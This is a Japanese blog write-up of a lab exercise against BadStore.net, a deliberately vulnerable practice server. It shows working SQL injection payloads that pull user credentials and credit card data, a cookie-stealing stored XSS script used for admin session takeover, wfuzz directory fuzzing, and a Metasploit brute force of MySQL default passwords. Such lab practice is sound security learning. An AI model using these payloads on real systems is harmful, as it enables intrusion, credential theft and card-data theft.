BadStore.netを使った脆弱性調査
WEBアプリ関係の脆弱性調査について一通り勉強したということで、実際にやられサーバーを使って脆弱性調査にチャンレンジしてみる。
環境構築
調査の前に、やられサーバーを構築する。
仮想マシン
BadStoreのisoをダウンロード
以下のサイトからisoをダウンロードする。 www.vulnhub.com
VMware Workstation 12 Playerで仮想マシンを作成
ゲストOS = Linux
バージョン = 他のLinux2.4.xカーネル
仮想マシン起動
仮想マシンのコンソールから、 ifconfig
でIPアドレスを調べる。
http://192.168.11.6/
外部の端末からアクセスできるようにする
訳あってVMを起動している端末とは別の端末から試みたため、外部からアクセスできるような設定をする。
netsh interface portproxy add v4tov4 listenport=80 listenaddress=192.168.11.6 connectport=80 connectaddress=192.168.157.132 netsh interface portproxy add v4tov4 listenport=443 listenaddress=192.168.11.6 connectport=443 connectaddress=192.168.157.132 netsh interface portproxy add v4tov4 listenport=3306 listenaddress=192.168.11.6 connectport=3306 connectaddress=192.168.157.132
WEBアプリの脆弱性調査
機能ごとにどんな脆弱性が存在しそうかを調べていく。
Quick Item Search
全ての画面に出てきている検索機能。検索ボタンを押した瞬間から確実にSQLiが存在していると匂わせる画面。
DB情報収集
わざと失敗させてエラーを吐かせてみる。
'
DBD::mysql::st execute failed: You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' IN (itemnum,sdesc,ldesc)' at line 1 at /usr/local/apache/cgi-bin/badstore.cgi line 207.
次にMySQLのバージョンを取得してみる。
a' = 'a' UNION SELECT VERSION(),2,3,4 #
テーブル名とカラム名の推測
バージョンは、 4.1.7-standard
だと判明。調べてみるとこのバージョンでは information_schema
は使えないらしい。(5系から使える)
information_schemaが使えないということは、テーブル名の一覧などが簡単に取得できなそう。考えた末、とりあえず全体のページ数が少なそうなので、画面から存在しそうなテーブルを推測してみることにした。サラサラと見た感じ、 user
系と item
系の2種類があるのかな?と推測。命名規則的には表示されたSQLから xxxdb
という形式なのかなと判断し、試してみる。
a' = 'a' UNION SELECT email,2,3,4 FROM userdb #
ユーザのメールアドレスが取得できた。
他のカラム名もHTML内に存在するページ(http://192.168.11.6/cgi-bin/badstore.cgi?action=loginregister)から推測する。
password => NG
a' = 'a' UNION SELECT password,2,3,4 FROM userdb #
passwd = OK
a' = 'a' UNION SELECT passwd,2,3,4 FROM userdb #
fullname = OK
a' = 'a' UNION SELECT fullname,2,3,4 FROM userdb #
pwdhint = OK
a' = 'a' UNION SELECT pwdhint,2,3,4 FROM userdb #
収集したカラム名を全て表示させてみる。
a' = 'a' UNION SELECT fullname,email,passwd,pwdhint FROM userdb #
SQLiによるユーザ情報抽出
入力エリアのサイズ制限にかかって入力しきれないので、URLを直接指定してGETリクエストを投げる。
http://192.168.11.6/cgi-bin/badstore.cgi?searchquery=a%27+%3D+%27a%27+UNION+SELECT+email%2Cpasswd%2Cfullname%2Cpwdhint+FROM+userdb+%23&action=search&x=0&y=0
ユーザ情報の漏洩を確認することができた。
Guestbook
ホテルなどにあるゲストブックのオンライン版?誰でも書き込める所なので、XSSの脆弱性があるとまずいが、XSSの脆弱性がありそうだ。
入力可能な文字列の調査
名前、メール、コメントの3項目あるので、とりあえず全ての項目に以下の文字列を入れて投稿してみる。
<>'
ゲストブックを表示する画面のHTMLを確認してみると、そのまま表示されていることが確認できる。
Wednesday, August 29, 2018 at 19:34:06: <B><>'</B> <A HREF=mailto:<>'><>'</A> <OL><I><>' </I></OL> <HR>
XSSを仕掛ける
このサイトで使っているCookieで、どんな情報をXSSで引っこ抜くと悪用できそうかを探していると、 SSOid
というやばそうな項目を発見。Single Sign On?試しに自分のアカウントを作成して何度かログインしてみると、毎回同じ値が設定されていたので、ユーザ毎に一意の値が決まっていそう。セッションハイジャックに使えそうな匂いがするので、これを取得する。
ゲストブックへの投稿で以下のスクリプトを仕掛ける。今回は単純に、閲覧した人のSSOidをゲストブックに投稿する。
<script>var cookie = document.cookie;var xhr = new XMLHttpRequest();xhr.open('POST', 'http://192.168.11.6/cgi-bin/badstore.cgi?action=doguestbook');xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded;');xhr.send('name=myname&email=xxx@mail&comments='+cookie);</script>
<script> var cookie = document.cookie; var xhr = new XMLHttpRequest(); xhr.open('POST', 'http://192.168.11.6/cgi-bin/badstore.cgi?action=doguestbook'); xhr.setRequestHeader('content-type', 'application/x-www-form-urlencoded;'); xhr.send('name=myname&email=xxx@mail&comments='+cookie); </script>
adminユーザでゲストブックを閲覧する
※XSSを一度踏むためにadminユーザでログインしているが、SQLiで取得したadminのパスワードはmd5でハッシュ化してあるため、以下のオンラインサービスを利用して平文を取得している。
adminユーザでGuestBookを閲覧すると、以下の内容が自動的に投稿される。
Wednesday, August 29, 2018 at 22:36:52: myname xxx@mail SSOid=YWRtaW46NWViZTIyOTRlY2QwZTBmMDhlYWI3NjkwZDJhNmVlNjk6TWFzdGVyIFN5c3RlbSBBZG1p
adminとして不正ログイン
chromeの開発者ツールで、Cookie内のSSOidを書き換えると、ユーザ情報が切り替わる。account変更画面からパスワードを勝手に変えてしまい、その後は普通にそのログイン情報を使うのもあり。
Place Order
商品の購入時に、クレジットカード情報を入力する画面がある。ということは、クレジットカード情報も存在するはずなので、それを抜き取ってみる。
SQLiによるクレジットカード情報抽出
色々見ていると order
という単語をよく使っているので、購入情報として orderdb
が存在するかなと予測して試してみる。カラム名は、クレジットカード入力画面から推測した。
a' = 'a' UNION SELECT ccard,expdate,3,4 FROM orderdb #
案の定クレジットカードの情報が抜き出せた。ユーザとの紐付けはどんなカラムを持っているか推測しきれなかった。
BadStoreサーバー全体の脆弱性調査
WEBアプリ以外の部分で、どのような脆弱性が存在するか調査する。
非公開情報の探索
Wfuzzというファジーツールを使って非公開ディレクトリの探索を行ってみる。 fuzz
が何を意味するか知らなかったため調べていると、fuzzとは以下のような意味合いがあるらしい。
「ファジング」とは、検査対象のソフトウェア製品に「ファズ(英名:fuzz)」と呼ばれる問題を引き起こしそうなデータを大量に送り込み、その応答や挙動を監視することで脆弱性を検出する検査手法です。例えば、あるソフトウェア製品に極端に長い文字列や通常用いないような制御コードなどを送り込み、状態を観察します。その結果、予期せぬ異常動作や異常終了、再起動などが発生した場合、このソフトウェア製品の処理に何らかの問題がある可能性が高いと判断できます。このように、ソフトウェア製品(の製品開発者)が想定していないデータを入力し、その挙動から脆弱性を見つけ出す検査手法を「ファジング」と言います。 https://www.ipa.go.jp/files/000057652.pdf
Wfuzzのインストールや使い方に関しては以下。
Wfuzz: The Web fuzzer — Wfuzz 2.1.4 documentation
辞書によるディレクトリ探索
# wfuzz -w common.txt --filter "c=200" http://192.168.11.6/FUZZ/ Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.2.9 - The Web Fuzzer * ******************************************************** Target: http://192.168.11.6/FUZZ/ Total requests: 950 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000111: C=200 13 L 48 W 537 Ch "backup" 000426: C=200 16 L 72 W 886 Ch "icons" 000429: C=200 39 L 256 W 3572 Ch "images" Total time: 4.259704 Processed Requests: 950 Filtered Requests: 947 Requests/sec.: 223.0201
--filter
をつけることによって、レスポンスが200のものだけに絞っている。backup
というディレクトリに対しては、普通に画面を触っているだけでは導線がなかったため、本来は非公開ディレクトリなのだと推測。
辞書によるパラメータ探索
# wfuzz -w common.txt --filter "chars!=4046" http://192.168.11.6/cgi-bin/badstore.cgi?action=FUZZ Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.2.9 - The Web Fuzzer * ******************************************************** Target: http://192.168.11.6/cgi-bin/badstore.cgi?action=FUZZ Total requests: 950 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000060: C=200 100 L 291 W 4529 Ch "admin" 000398: C=200 92 L 283 W 4431 Ch "guestbook" 000596: C=200 90 L 249 W 3986 Ch "order" 000727: C=200 90 L 274 W 4137 Ch "search" Total time: 20.15347 Processed Requests: 950 Filtered Requests: 946 Requests/sec.: 47.13828
ここで考慮したいのが、間違ったアクションを指定しているとトップ画面に飛ばされるため、404などのレスポンスコードは返ってこない。なので、トップ画面の文字数以外のレスポンスが返ってきた場合、正常に受理されたリクエストであると判断するため、 --filter "chars!=4046"
を指定している。
action=admin
は通常の画面からの導線としては存在しなかったので、非公開ページだと推測。このページは、管理者権限で色々な情報が見れてしまうページだった。
辞書によるページ探索
# wfuzz -w cgis.txt --filter "c=200" http://192.168.11.6/FUZZ Warning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz's documentation for more information. ******************************************************** * Wfuzz 2.2.9 - The Web Fuzzer * ******************************************************** Target: http://192.168.11.6/FUZZ Total requests: 3295 ================================================================== ID Response Lines Word Chars Payload ================================================================== 000100: C=200 89 L 221 W 3583 Ch "./" 002136: C=200 39 L 256 W 3572 Ch "images/" 002137: C=200 39 L 256 W 3572 Ch "images/?pattern=/etc/*&sort=name" 002064: C=200 16 L 72 W 886 Ch "icons/" 000672: C=200 13 L 48 W 537 Ch "backup/" 002756: C=200 15 L 34 W 316 Ch "robots.txt" 001525: C=200 4 L 18 W 237 Ch "cgi-bin/test.cgi" 000005: C=200 89 L 221 W 3583 Ch "%2e/" Total time: 13.89689 Processed Requests: 3295 Filtered Requests: 3287 Requests/sec.: 237.1033
目新しい情報としては、 test.cgi
というページ。中身をみると、テストで使用していたユーザ情報的なのが表示されていた。
公開されたデータベースへのログイン
nmapを使って、サーバー上でどのようなサービスが存在するのか確認する。
$ sudo nmap -sS -A 192.168.11.6 Starting Nmap 7.50 ( https://nmap.org ) at 2018-09-09 00:20 JST Nmap scan report for 192.168.11.6 Host is up (0.0013s latency). Not shown: 990 closed ports PORT STATE SERVICE VERSION 80/tcp open http Apache httpd 1.3.28 ((Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c) | http-methods: |_ Potentially risky methods: TRACE | http-robots.txt: 5 disallowed entries |_/cgi-bin /scanbot /backup /supplier /upload |_http-server-header: Apache/1.3.28 (Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c |_http-title: Welcome to BadStore.net v1.2.3s 443/tcp open ssl/http Apache httpd 1.3.28 ((Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c) | http-methods: |_ Potentially risky methods: TRACE | http-robots.txt: 5 disallowed entries |_/cgi-bin /scanbot /backup /supplier /upload |_http-server-header: Apache/1.3.28 (Unix) mod_ssl/2.8.15 OpenSSL/0.9.7c |_http-title: Welcome to BadStore.net v1.2.3s | ssl-cert: Subject: commonName=www.badstore.net/organizationName=BadStore.net/stateOrProvinceName=Illinois/countryName=US | Subject Alternative Name: email:root@badstore.net | Not valid before: 2006-05-10T12:52:53 |_Not valid after: 2009-02-02T12:52:53 |_ssl-date: 2018-09-09T00:20:26+00:00; +8h59m54s from scanner time. | sslv2: | SSLv2 supported | ciphers: | SSL2_RC4_128_EXPORT40_WITH_MD5 | SSL2_RC2_128_CBC_EXPORT40_WITH_MD5 | SSL2_IDEA_128_CBC_WITH_MD5 | SSL2_DES_64_CBC_WITH_MD5 | SSL2_RC4_128_WITH_MD5 | SSL2_DES_192_EDE3_CBC_WITH_MD5 | SSL2_RC4_64_WITH_MD5 |_ SSL2_RC2_128_CBC_WITH_MD5 3306/tcp open mysql MySQL 4.1.7-standard | mysql-info: | Protocol: 10 | Version: 4.1.7-standard | Thread ID: 23 | Capabilities flags: 33324 | Some Capabilities: Support41Auth, Speaks41ProtocolNew, ConnectWithDatabase, LongColumnFlag, SupportsCompression | Status: Autocommit |_ Salt: )SGIzLKs%YrQ~I/Mt&Zu
辞書の用意
ログインを試みるため、ユーザーとパスワードの辞書を用意する。今回は、wfuzzのマニュアルの中で見つけた SecLists
というのを使ってみることにした。
# git clone https://github.com/danielmiessler/SecLists.git
※ mysql-betterdefaultpasslist.txt をスペース区切りに変えて利用した。
metasploitでログイン情報確認
# msfconsole +-------------------------------------------------------+ | METASPLOIT by Rapid7 | +---------------------------+---------------------------+ | __________________ | | | ==c(______(o(______(_() | |""""""""""""|======[*** | | )=\ | | EXPLOIT \ | | // \\ | |_____________\_______ | | // \\ | |==[msf >]============\ | | // \\ | |______________________\ | | // RECON \\ | \(@)(@)(@)(@)(@)(@)(@)/ | | // \\ | ********************* | +---------------------------+---------------------------+ | o O o | \'\/\/\/'/ | | o O | )======( | | o | .' LOOT '. | | |^^^^^^^^^^^^^^|l___ | / _||__ \ | | | PAYLOAD |""\___, | / (_||_ \ | | |________________|__|)__| | | __||_) | | | |(@)(@)"""**|(@)(@)**|(@) | " || " | | = = = = = = = = = = = = | '--------------' | +---------------------------+---------------------------+ =[ metasploit v4.16.48-dev ] + -- --=[ 1749 exploits - 1002 auxiliary - 302 post ] + -- --=[ 536 payloads - 40 encoders - 10 nops ] + -- --=[ Free Metasploit Pro trial: http://r-7.co/trymsp ] msf > use auxiliary/scanner/mysql/mysql_login msf auxiliary(scanner/mysql/mysql_login) > set RHOSTS 192.168.11.6 RHOSTS => 192.168.11.6 msf auxiliary(scanner/mysql/mysql_login) > set USERPASS_FILE /root/Downloads/SecLists/Passwords/Default-Credentials/mysql-betterdefaultpasslist-space.txt USERPASS_FILE => /root/Downloads/SecLists/Passwords/Default-Credentials/mysql-betterdefaultpasslist-space.txt msf auxiliary(scanner/mysql/mysql_login) > set STOP_ON_SUCCESS true STOP_ON_SUCCESS => true msf auxiliary(scanner/mysql/mysql_login) > show options Module options (auxiliary/scanner/mysql/mysql_login): Name Current Setting Required Description ---- --------------- -------- ----------- BLANK_PASSWORDS false no Try blank passwords for all users BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 DB_ALL_CREDS false no Try each user/password couple stored in the current database DB_ALL_PASS false no Add all passwords in the current database to the list DB_ALL_USERS false no Add all users in the current database to the list PASSWORD no A specific password to authenticate with PASS_FILE no File containing passwords, one per line Proxies no A proxy chain of format type:host:port[,type:host:port][...] RHOSTS 192.168.11.6 yes The target address range or CIDR identifier RPORT 3306 yes The target port (TCP) STOP_ON_SUCCESS true yes Stop guessing when a credential works for a host THREADS 1 yes The number of concurrent threads USERNAME no A specific username to authenticate as USERPASS_FILE /root/Downloads/SecLists/Passwords/Default-Credentials/mysql-betterdefaultpasslist-space.txt no File containing users and passwords separated by space, one pair per line USER_AS_PASS false no Try the username as the password for all users USER_FILE no File containing usernames, one per line VERBOSE true yes Whether to print output for all attempts msf auxiliary(scanner/mysql/mysql_login) > run [+] 192.168.11.6:3306 - 192.168.11.6:3306 - Found remote MySQL version 4.1.7 [+] 192.168.11.6:3306 - 192.168.11.6:3306 - Success: 'root:mysql' [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed
ログインしてみる
# mysql -h 192.168.11.6 -u root -p Enter password: Welcome to the MariaDB monitor. Commands end with ; or \g. Your MySQL connection id is 610 Server version: 4.1.7-standard Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others. Type 'help;' or '\h' for help. Type '\c' to clear the current input statement. MySQL [(none)]> show databases; +------------+ | Database | +------------+ | badstoredb | +------------+ 1 row in set (0.00 sec) MySQL [(none)]> use badstoredb; Reading table information for completion of table and column names You can turn off this feature to get a quicker startup with -A Database changed MySQL [badstoredb]> show tables; +----------------------+ | Tables_in_badstoredb | +----------------------+ | acctdb | | itemdb | | orderdb | | userdb | +----------------------+ 4 rows in set (0.01 sec)
総括
BadStore自体が相当古いため、ちょっとあれな感じはしたが、基本的な脆弱性調査の練習をするには結構良かったと思う。